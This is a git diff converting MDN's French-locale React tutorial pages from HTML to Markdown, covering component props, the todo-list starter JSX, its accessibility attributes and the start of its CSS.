statement of <code>App</code>, add <code>const subject = 'React';</code>. Your <code>App</code> component should now look like this:</p> +Let's try making a variable of our own. Before the return statement of `App`, add `const subject = 'React';`. Your `App` component should now look like this: -<pre class="brush: js">function App() { +```js +function App() { const subject = "React"; return ( - <div className="App"> - <header className="App-header"> - <img src={logo} className="App-logo" alt="logo" /> - <p> + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> Hello, World! - </p> - </header> - </div> + </p> + </header> + </div> ); -}</pre> +} +``` -<p>Change line 8 to use our <code>subject</code> variable instead of the word "world", like this:</p> +Change line 8 to use our `subject` variable instead of the word "world", like this: -<pre class="brush: js">function App() { +```js +function App() { const subject = "React"; return ( - <div className="App"> - <header className="App-header"> - <img src={logo} className="App-logo" alt="logo" /> - <p> + <div className="App"> + <header className="App-header"> + <img src={logo} className="App-logo" alt="logo" /> + <p> Hello, {subject}! - </p> - </header> - </div> + </p> + </header> + </div> ); -}</pre> +} +``` -<p>When you save, your browser should display "Hello, React!" instead of "Hello, world!"</p> +When you save, your browser should display "Hello, React!" instead of "Hello, world!" -<p>Variables are convenient, but the one we've just set doesn’t make great use of React's features. That's where props come in.</p> +Variables are convenient, but the one we've just set doesn’t make great use of React's features. That's where props come in. -<h3 id="Component_props">Component props</h3> +### Component props -<p>A <strong>prop</strong> is any data passed into a React component. Props are written inside component calls, and use the same syntax as HTML attributes — <code>prop="value"</code>. Let’s open <code>index.js</code> and give our <code><App/></code> call its first prop.</p> +A **prop** is any data passed into a React component. Props are written inside component calls, and use the same syntax as HTML attributes — `prop="value"`. Let’s open `index.js` and give our `<App/>` call its first prop. -<p>Add a prop of <code>subject</code> to the <code><App/></code> component call, with a value of <code>Clarice</code>. When you are done, your code should look something like this:</p> +Add a prop of `subject` to the `<App/>` component call, with a value of `Clarice`. When you are done, your code should look something like this: -<pre class="brush: js">ReactDOM.render(<App subject="Clarice" />, document.getElementById('root'));</pre> +```js +ReactDOM.render(<App subject="Clarice" />, document.getElementById('root')); +``` -<p>Back in <code>App.js</code>, let's revisit the App function itself, which reads like this (with the <code>return</code> statement shortened for brevity):</p> +Back in `App.js`, let's revisit the App function itself, which reads like this (with the `return` statement shortened for brevity): -<pre class="brush: js">function App() { +```js +function App() { const subject = "React"; return ( // return statement ); -}</pre> +} +``` -<p>Change the signature of the <code>App</code> function so that it accepts <code>props</code> as a parameter, and delete the <code>subject</code> const. Just like any other function parameter, you can put <code>props</code> in a <code>console.log()</code> to print it to your browser's console. Go ahead and do that before the <code>return</code> statement, like so:</p> +Change the signature of the `App` function so that it accepts `props` as a parameter, and delete the `subject` const. Just like any other function parameter, you can put `props` in a `console.log()` to print it to your browser's console. Go ahead and do that before the `return` statement, like so: -<pre class="brush: js">function App(props) { +```js +function App(props) { console.log(props); return ( // return statement ); -}</pre> +} +``` -<p>Save your file and check your browser's JavaScript console. You should see something like this logged:</p> +Save your file and check your browser's JavaScript console. You should see something like this logged: -<pre class="brush: js">Object { subject: "Clarice" }</pre> +```js +Object { subject: "Clarice" } +``` -<p>The object property <code>subject</code> corresponds to the <code>subject</code> prop we added to our <code><App /></code> component call, and the string <code>Clarice</code> corresponds to its value. Component props in React are always collected into objects in this fashion.</p> +The object property `subject` corresponds to the `subject` prop we added to our `<App />` component call, and the string `Clarice` corresponds to its value. Component props in React are always collected into objects in this fashion. -<p>Now that <code>subject</code> is one of our props, let's utilize it in <code>App.js</code>. Change the <code>subject</code> constant so that, instead of defining it as the string <code>React</code>, you are reading the value of <code>props.subject</code>. You can also delete your <code>console.log()</code> if you want.</p> +Now that `subject` is one of our props, let's utilize it in `App.js`. Change the `subject` constant so that, instead of defining it as the string `React`, you are reading the value of `props.subject`. You can also delete your `console.log()` if you want. -<pre class="brush: js">function App(props) { +```js +function App(props) { const subject = props.subject; return ( // return statement ); -}</pre> - -<p>When you save, the the app should now greet you with "Hello, Clarice!". If you return to <code>index.js</code>, edit the value of <code>subject</code>, and save, your text will change.</p> - -<h2 id="Summary">Summary</h2> - -<p>This brings us to the end of our initial look at React, including how to install it locally, creating a starter app, and how the basics work. In the next article we'll start building our first proper application — a todo list. Before we do that, however, let's recap some of the things we’ve learned.</p> - -<p>In React:</p> - -<ul> - <li>Components can import modules they need, and must export themselves at the bottom of their files.</li> - <li>Component functions are named with <code>PascalCase</code>.</li> - <li>You can read JSX variables by putting them between curly braces, like <code>{so}</code>.</li> - <li>Some JSX attributes are different to HTML attributes, so that they don't conflict with JavaScript reserved words. For example, <code>class</code> in HTML translates to <code>className</code> in JSX. Note that multi-word attributes are camel-cased.</li> - <li>Props are written just like attributes inside component calls, and are passed into components.</li> -</ul> - -<p>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</p> - -<h2 id="In_this_module">In this module</h2> - -<ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction">Introduction to client-side frameworks</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features">Framework main features</a></li> - <li>React - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started">Getting started with React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning">Beginning our React todo list</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components">Componentizing our React app</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state">React interactivity: Events and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering">React interactivity: Editing, filtering, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility">Accessibility in React</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources">React resources</a></li> - </ul> - </li> - <li>Ember - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started">Getting started with Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization">Ember app structure and componentization</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state">Ember interactivity: Events, classes and state</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer">Ember Interactivity: Footer functionality, conditional rendering</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing">Routing in Ember</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources">Ember resources and troubleshooting</a></li> - </ul> - </li> - <li>Vue - <ul> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started">Getting started with Vue</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component">Creating our first Vue component</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists">Rendering a list of Vue components</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models">Adding a new todo form: Vue events, methods, and models</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling">Styling Vue components with CSS</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties">Using Vue computed properties</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering">Vue conditional rendering: editing existing todos</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management">Focus management with Vue refs</a></li> - <li><a href="/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources">Vue resources</a></li> - </ul> - </li> -</ul> +} +``` + +When you save, the the app should now greet you with "Hello, Clarice!". If you return to `index.js`, edit the value of `subject`, and save, your text will change. + +## Summary + +This brings us to the end of our initial look at React, including how to install it locally, creating a starter app, and how the basics work. In the next article we'll start building our first proper application — a todo list. Before we do that, however, let's recap some of the things we’ve learned. + +In React: + +- Components can import modules they need, and must export themselves at the bottom of their files. +- Component functions are named with `PascalCase`. +- You can read JSX variables by putting them between curly braces, like `{so}`. +- Some JSX attributes are different to HTML attributes, so that they don't conflict with JavaScript reserved words. For example, `class` in HTML translates to `className` in JSX. Note that multi-word attributes are camel-cased. +- Props are written just like attributes inside component calls, and are passed into components. + +{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} + +## In this module + +- [Introduction to client-side frameworks](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Introduction) +- [Framework main features](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Main_features) +- React + + - [Getting started with React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started) + - [Beginning our React todo list](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning) + - [Componentizing our React app](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components) + - [React interactivity: Events and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_events_state) + - [React interactivity: Editing, filtering, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_interactivity_filtering_conditional_rendering) + - [Accessibility in React](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_accessibility) + - [React resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_resources) + +- Ember + + - [Getting started with Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_getting_started) + - [Ember app structure and componentization](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_structure_componentization) + - [Ember interactivity: Events, classes and state](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_interactivity_events_state) + - [Ember Interactivity: Footer functionality, conditional rendering](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_conditional_footer) + - [Routing in Ember](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_routing) + - [Ember resources and troubleshooting](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Ember_resources) + +- Vue + + - [Getting started with Vue](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_getting_started) + - [Creating our first Vue component](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_first_component) + - [Rendering a list of Vue components](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_rendering_lists) + - [Adding a new todo form: Vue events, methods, and models](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_methods_events_models) + - [Styling Vue components with CSS](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_styling) + - [Using Vue computed properties](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_computed_properties) + - [Vue conditional rendering: editing existing todos](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_conditional_rendering) + - [Focus management with Vue refs](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_refs_focus_management) + - [Vue resources](/fr/docs/Learn/Tools_and_testing/Client-side_JavaScript_frameworks/Vue_resources) diff --git a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md index 0ea2852a83..e4f128d8a4 100644 --- a/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md +++ b/files/fr/learn/tools_and_testing/client-side_javascript_frameworks/react_todo_list_beginning/index.md @@ -7,248 +7,259 @@ tags: translation_of: >- Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_todo_list_beginning --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}} -<div>{{PreviousMenuNext("Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_getting_started","Learn/Tools_and_testing/Client-side_JavaScript_frameworks/React_components", "Learn/Tools_and_testing/Client-side_JavaScript_frameworks")}}</div> +Let's say that we’ve been tasked with creating a proof-of-concept in React – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. This article will walk you through putting the basic `App` component structure and styling in place, ready for individual component definition and interactivity, which we'll add later. -<p>Let's say that we’ve been tasked with creating a proof-of-concept in React – an app that allows users to add, edit, and delete tasks they want to work on, and also mark tasks as complete without deleting them. This article will walk you through putting the basic <code>App</code> component structure and styling in place, ready for individual component definition and interactivity, which we'll add later.</p> - -<div class="note"> -<p><strong>Note :</strong> If you need to check your code against our version, you can find a finished version of the sample React app code in our <a href="https://github.com/mdn/todo-react">todo-react repository</a>. For a running live version, see <a href="https://mdn.github.io/todo-react-build/">https://mdn.github.io/todo-react-build/</a>.</p> -</div> +> **Note :** If you need to check your code against our version, you can find a finished version of the sample React app code in our [todo-react repository](https://github.com/mdn/todo-react). For a running live version, see <https://mdn.github.io/todo-react-build/>. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Prerequisites:</th> - <td> - <p>Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, <a href="/fr/docs/Learn/CSS">CSS</a>, and <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages, knowledge of the <a href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line">terminal/command line</a>.</p> - </td> - </tr> - <tr> - <th scope="row">Objective:</th> - <td>To introduce our todo list case study, and get the basic <code>App</code> structure and styling in place.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Prerequisites:</th> + <td> + <p> + Familiarity with the core <a href="/fr/docs/Learn/HTML">HTML</a>, + <a href="/fr/docs/Learn/CSS">CSS</a>, and + <a href="/fr/docs/Learn/JavaScript">JavaScript</a> languages, + knowledge of the + <a + href="/fr/docs/Learn/Tools_and_testing/Understanding_client-side_tools/Command_line" + >terminal/command line</a + >. + </p> + </td> + </tr> + <tr> + <th scope="row">Objective:</th> + <td> + To introduce our todo list case study, and get the basic + <code>App</code> structure and styling in place. + </td> + </tr> + </tbody> </table> -<h2 id="Our_apps_user_stories">Our app's user stories</h2> +## Our app's user stories -<p>In software development, a user story is an actionable goal from the perspective of the user. Defining user stories before we begin our work will help us focus our work. Our app should fulfill the following stories:</p> +In software development, a user story is an actionable goal from the perspective of the user. Defining user stories before we begin our work will help us focus our work. Our app should fulfill the following stories: -<p>As a user, I can</p> +As a user, I can -<ul> - <li>read a list of tasks.</li> - <li>add a task using the mouse or keyboard.</li> - <li>mark any task as completed, using the mouse or keyboard.</li> - <li>delete any task, using the mouse or keyboard.</li> - <li>edit any task, using the mouse or keyboard.</li> - <li>view a specific subset of tasks: All tasks, only the active task, or only the completed tasks.</li> -</ul> +- read a list of tasks. +- add a task using the mouse or keyboard. +- mark any task as completed, using the mouse or keyboard. +- delete any task, using the mouse or keyboard. +- edit any task, using the mouse or keyboard. +- view a specific subset of tasks: All tasks, only the active task, or only the completed tasks. -<p>We'll tackle these stories one-by-one.</p> +We'll tackle these stories one-by-one. -<h2 id="Pre-project_housekeeping">Pre-project housekeeping</h2> +## Pre-project housekeeping -<p>create-react-app has made a few files we won't be using at all for our project.</p> +create-react-app has made a few files we won't be using at all for our project. -<ul> - <li>We're not going to write per-component stylesheets, so first delete the <code>App.css</code> import from the top of <code>App.js</code>.</li> - <li>We are also not going to be using the <code>logo.svg</code> file, so remove that import too.</li> -</ul> +- We're not going to write per-component stylesheets, so first delete the `App.css` import from the top of `App.js`. +- We are also not going to be using the `logo.svg` file, so remove that import too. -<p>Then, copy and paste the following commands into your terminal to delete some unneeded files. Make sure you’re starting in the app's root directory!</p> +Then, copy and paste the following commands into your terminal to delete some unneeded files. Make sure you’re starting in the app's root directory! -<pre class="brush: bash"># Move into the src directory of your project +```bash +# Move into the src directory of your project cd src # Delete a few files rm -- App.test.js App.css logo.svg serviceWorker.js setupTests.js # Move back up to the root of the project -cd ..</pre> +cd .. +``` -<p>Notes:</p> +Notes: -<ul> - <li>Two of the files we’re deleting are for testing the application. We will not cover testing here.</li> - <li>If you stopped your server to do the terminal tasks mentioned above, you’ll have to start it again using <code>npm start</code>.</li> -</ul> +- Two of the files we’re deleting are for testing the application. We will not cover testing here. +- If you stopped your server to do the terminal tasks mentioned above, you’ll have to start it again using `npm start`. -<h2 id="Project_starter_code">Project starter code</h2> +## Project starter code -<p>As a starting point for this project, we're going to provide two things: An <code>App()</code> function to replace the one you have now, and some CSS to style your app.</p> +As a starting point for this project, we're going to provide two things: An `App()` function to replace the one you have now, and some CSS to style your app. -<h3 id="The_JSX">The JSX</h3> +### The JSX -<p>Copy the following snippet to your clipboard, then paste it into <code>App.js</code> so that it replaces the existing <code>App()</code> function:</p> +Copy the following snippet to your clipboard, then paste it into `App.js` so that it replaces the existing `App()` function: -<pre class="brush: js">function App(props) { +```js +function App(props) { return ( - <div className="todoapp stack-large"> - <h1>TodoMatic</h1> - <form> - <h2 className="label-wrapper"> - <label htmlFor="new-todo-input" className="label__lg"> + <div className="todoapp stack-large"> + <h1>TodoMatic</h1> + <form> + <h2 className="label-wrapper"> + <label htmlFor="new-todo-input" className="label__lg"> What needs to be done? - </label> - </h2> - <input + </label> + </h2> + <input type="text" id="new-todo-input" className="input input__lg" name="text" autoComplete="off" - /> - <button type="submit" className="btn btn__primary btn__lg"> + /> + <button type="submit" className="btn btn__primary btn__lg"> Add - </button> - </form> - <div className="filters btn-group stack-exception"> - <button type="button" className="btn toggle-btn" aria-pressed="true"> - <span className="visually-hidden">Show </span> - <span>all</span> - <span className="visually-hidden"> tasks</span> - </button> - <button type="button" className="btn toggle-btn" aria-pressed="false"> - <span className="visually-hidden">Show </span> - <span>Active</span> - <span className="visually-hidden"> tasks</span> - </button> - <button type="button" className="btn toggle-btn" aria-pressed="false"> - <span className="visually-hidden">Show </span> - <span>Completed</span> - <span className="visually-hidden"> tasks</span> - </button> - </div> - <h2 id="list-heading"> + </button> + </form> + <div className="filters btn-group stack-exception"> + <button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all</span> + <span className="visually-hidden"> tasks</span> + </button> + <button type="button" className="btn toggle-btn" aria-pressed="false"> + <span className="visually-hidden">Show </span> + <span>Active</span> + <span className="visually-hidden"> tasks</span> + </button> + <button type="button" className="btn toggle-btn" aria-pressed="false"> + <span className="visually-hidden">Show </span> + <span>Completed</span> + <span className="visually-hidden"> tasks</span> + </button> + </div> + <h2 id="list-heading"> 3 tasks remaining - </h2> - <ul + </h2> + <ul role="list" className="todo-list stack-large stack-exception" aria-labelledby="list-heading" - > - <li className="todo stack-small"> - <div className="c-cb"> - <input id="todo-0" type="checkbox" defaultChecked={true} /> - <label className="todo-label" htmlFor="todo-0"> + > + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-0" type="checkbox" defaultChecked={true} /> + <label className="todo-label" htmlFor="todo-0"> Eat - </label> - </div> - <div className="btn-group"> - <button type="button" className="btn"> - Edit <span className="visually-hidden">Eat</span> - </button> - <button type="button" className="btn btn__danger"> - Delete <span className="visually-hidden">Eat</span> - </button> - </div> - </li> - <li className="todo stack-small"> - <div className="c-cb"> - <input id="todo-1" type="checkbox" /> - <label className="todo-label" htmlFor="todo-1"> + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Eat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Eat</span> + </button> + </div> + </li> + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-1" type="checkbox" /> + <label className="todo-label" htmlFor="todo-1"> Sleep - </label> - </div> - <div className="btn-group"> - <button type="button" className="btn"> - Edit <span className="visually-hidden">Sleep</span> - </button> - <button type="button" className="btn btn__danger"> - Delete <span className="visually-hidden">Sleep</span> - </button> - </div> - </li> - <li className="todo stack-small"> - <div className="c-cb"> - <input id="todo-2" type="checkbox" /> - <label className="todo-label" htmlFor="todo-2"> + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Sleep</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Sleep</span> + </button> + </div> + </li> + <li className="todo stack-small"> + <div className="c-cb"> + <input id="todo-2" type="checkbox" /> + <label className="todo-label" htmlFor="todo-2"> Repeat - </label> - </div> - <div className="btn-group"> - <button type="button" className="btn"> - Edit <span className="visually-hidden">Repeat</span> - </button> - <button type="button" className="btn btn__danger"> - Delete <span className="visually-hidden">Repeat</span> - </button> - </div> - </li> - </ul> - </div> + </label> + </div> + <div className="btn-group"> + <button type="button" className="btn"> + Edit <span className="visually-hidden">Repeat</span> + </button> + <button type="button" className="btn btn__danger"> + Delete <span className="visually-hidden">Repeat</span> + </button> + </div> + </li> + </ul> + </div> ); -}</pre> +} +``` -<p>Now open <code>public/index.html</code> and change the <code><a href="/fr/docs/Web/HTML/Element/title"><title></a></code> element’s text to <code>TodoMatic</code>. This way, it will match the <code><a href="/fr/docs/Web/HTML/Element/Heading_Elements"><h1></a></code> at the top of our app.</p> +Now open `public/index.html` and change the [`<title>`](/fr/docs/Web/HTML/Element/title) element’s text to `TodoMatic`. This way, it will match the [`<h1>`](/fr/docs/Web/HTML/Element/Heading_Elements) at the top of our app. -<pre class="brush: html"><title>TodoMatic</title></pre> +```html +<title>TodoMatic</title> +``` -<p>When your browser refreshes, you should see something like this:</p> +When your browser refreshes, you should see something like this: -<p><img alt="todo-matic app, unstyled, showing a jumbled mess of labels, inputs, and buttons" src="unstyled-app.png"></p> + -<p>It's ugly, and doesn’t function yet, but that's okay — we'll style it in a moment. First, consider the JSX we have, and how it corresponds to our user stories:</p> +It's ugly, and doesn’t function yet, but that's okay — we'll style it in a moment. First, consider the JSX we have, and how it corresponds to our user stories: -<ul> - <li>We have a <code><a href="/fr/docs/Web/HTML/Element/form"><form></a></code> element, with an <code><a href="/fr/docs/Web/HTML/Element/input/text"><input type="text"></a></code> for writing out a new task, and a button to submit the form.</li> - <li>We have an array of buttons that will be used to filter our tasks.</li> - <li>We have a heading that tells us how many tasks remain.</li> - <li>We have our 3 tasks, arranged in an un-ordered list. Each task is a list item (<code><a href="/fr/docs/Web/HTML/Element/li"><li></a></code>), and has buttons to edit and delete it and a checkbox to check it off as done.</li> -</ul> +- We have a [`<form>`](/fr/docs/Web/HTML/Element/form) element, with an [`<input type="text">`](/fr/docs/Web/HTML/Element/input/text) for writing out a new task, and a button to submit the form. +- We have an array of buttons that will be used to filter our tasks. +- We have a heading that tells us how many tasks remain. +- We have our 3 tasks, arranged in an un-ordered list. Each task is a list item ([`<li>`](/fr/docs/Web/HTML/Element/li)), and has buttons to edit and delete it and a checkbox to check it off as done. -<p>The form will allow us to <em>make</em> tasks; the buttons will let us <em>filter</em> them; the heading and list are our way to <em>read</em> them. The UI for <em>editing</em> a task is conspicuously absent for now. That's okay – we'll write that later.</p> +The form will allow us to _make_ tasks; the buttons will let us _filter_ them; the heading and list are our way to _read_ them. The UI for _editing_ a task is conspicuously absent for now. That's okay – we'll write that later. -<h3 id="Accessibility_features">Accessibility features</h3> +### Accessibility features -<p>You may notice some unusual attributes here. For example:</p> +You may notice some unusual attributes here. For example: -<pre class="brush: html"><button type="button" className="btn toggle-btn" aria-pressed="true"> - <span className="visually-hidden">Show </span> - <span>all</span> - <span className="visually-hidden"> tasks</span> -</button></pre> +```html +<button type="button" className="btn toggle-btn" aria-pressed="true"> + <span className="visually-hidden">Show </span> + <span>all</span> + <span className="visually-hidden"> tasks</span> +</button> +``` -<p>Here, <code>aria-pressed</code> tells assistive technology (like screen readers) that the button can be in one of two states: <code>pressed</code> or <code>unpressed</code>. Think of these as analogs for <code>on</code> and <code>off</code>. Setting a value of <code>true</code> means that the button is pressed by default.</p> +Here, `aria-pressed` tells assistive technology (like screen readers) that the button can be in one of two states: `pressed` or `unpressed`. Think of these as analogs for `on` and `off`. Setting a value of `true` means that the button is pressed by default. -<p>The class <code>visually-hidden</code> has no effect yet, because we have not included any CSS. Once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them.</p> +The class `visually-hidden` has no effect yet, because we have not included any CSS. Once we have put our styles in place, though, any element with this class will be hidden from sighted users and still available to screen reader users — this is because these words are not needed by sighted users; they are there to provide more information about what the button does for screenreader users that do not have the extra visual context to help them. -<p>Further down, you can find our <code><a href="/fr/docs/Web/HTML/Element/ul"><ul></a></code> element:</p> +Further down, you can find our [`<ul>`](/fr/docs/Web/HTML/Element/ul) element: -<pre class="brush: html"><ul +```html +<ul role="list" className="todo-list stack-large stack-exception" aria-labelledby="list-heading" -></pre> +> +``` -<p>The <code>role</code> attribute helps assistive technology explain what kind of element a tag represents. A <code><ul></code> is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore the "list" meaning to the <code><ul></code> element. If you want to learn more about why this is necessary, you can check out <a href="https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html">Scott O'Hara’s article, “Fixing Lists”</a>.</p> +The `role` attribute helps assistive technology explain what kind of element a tag represents. A `<ul>` is treated like a list by default, but the styles we're about to add will break that functionality. This role will restore the "list" meaning to the `<ul>` element. If you want to learn more about why this is necessary, you can check out [Scott O'Hara’s article, “Fixing Lists”](https://www.scottohara.me/blog/2019/01/12/lists-and-safari.html). -<p>The <code>aria-labelledby</code> attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. Making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it.</p> +The `aria-labelledby` attribute tells assistive technologies that we're treating our list heading as the label that describes the purpose of the list beneath it. Making this association gives the list a more informative context, which could help screen reader users better understand the purpose of it. -<p>Finally, the labels and inputs in our list items have some attributes unique to JSX:</p> +Finally, the labels and inputs in our list items have some attributes unique to JSX: -<pre class="brush: html"><input id="todo-0" type="checkbox" defaultChecked={true} /> -<label className="todo-label" htmlFor="todo-0"> +```html +<input id="todo-0" type="checkbox" defaultChecked={true} /> +<label className="todo-label" htmlFor="todo-0"> Eat -</label></pre> +</label> +``` -<p>The <code>defaultChecked</code> attribute in the <code><input/ ></code> tag tells React to check this checkbox initially. If we were to use <code>checked</code>, as we would in regular HTML, React would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid. Don't worry too much about this for now — we will cover this later on when we get to using events.</p> +The `defaultChecked` attribute in the `<input/ >` tag tells React to check this checkbox initially. If we were to use `checked`, as we would in regular HTML, React would log some warnings into our browser console relating to handling events on the checkbox, which we want to avoid. Don't worry too much about this for now — we will cover this later on when we get to using events. -<p>The <code>htmlFor</code> attribute corresponds to the <code>for</code> attribute used in HTML. We cannot use <code>for</code> as an attribute in JSX because <code>for</code> is a reserved word, so React uses <code>htmlFor</code> instead.</p> +The `htmlFor` attribute corresponds to the `for` attribute used in HTML. We cannot use `for` as an attribute in JSX because `for` is a reserved word, so React uses `htmlFor` instead. -<p>Notes:</p> +Notes: -<ul> - <li>To use boolean values (<code>true</code> and <code>false</code>) in JSX attributes, you must enclose them in curly braces. If you write <code>defaultChecked="true"</code>, the value of <code>defaultChecked</code> will be <code>"true"</code> — a string literal. Remember — this is actually JavaScript, not HTML!</li> - <li>The <code>aria-pressed</code> attribute used in our earlier code snippet has a value of <code>"true"</code> because <code>aria-pressed</code> is not a true boolean attribute in the way <code>checked</code> is.</li> -</ul> +- To use boolean values (`true` and `false`) in JSX attributes, you must enclose them in curly braces. If you write `defaultChecked="true"`, the value of `defaultChecked` will be `"true"` — a string literal. Remember — this is actually JavaScript, not HTML! +- The `aria-pressed` attribute used in our earlier code snippet has a value of `"true"` because `aria-pressed` is not a true boolean attribute in the way `checked` is. -<h3 id="Implementing_our_styles">Implementing our styles</h3> +### Implementing our styles -<p>Paste the following CSS code into <code>src/index.css</code> so that it replaces what's currently there:</p> +Paste the following CSS code into `src/index.css` so that it replaces what's currently there: -<pre class="brush: css">/* RESETS */ +```css +/* RESETS */ *, *::before, *::after { @@ -319,7 +330,7 @@ body { } /*END RESETS*/ /* GLOBAL STYLES */ -.form-group > input[type="text"] { +.form-group > input[type="text"] { display: inline-block; margin-top: 0.4rem; } @@ -353,10 +364,10 @@ body { display: flex; justify-content: space-between; } -.btn-group > * { +.btn-group > * { flex: 1 1 49%; } -.btn-group > * + * { +.btn-group > * + * { margin-left: 0.8rem; } .label-wrapper { @@ -373,21 +384,21 @@ body { clip: rect(1px, 1px, 1px, 1px); white-space: nowrap; } -[class*="stack"] > * { +[class*="stack"] > * { margin-top: 0; margin-bottom: 0; } -.stack-small > * + * { +.stack-small > * + * { margin-top: 1.25rem; } -.stack-large > * + * { 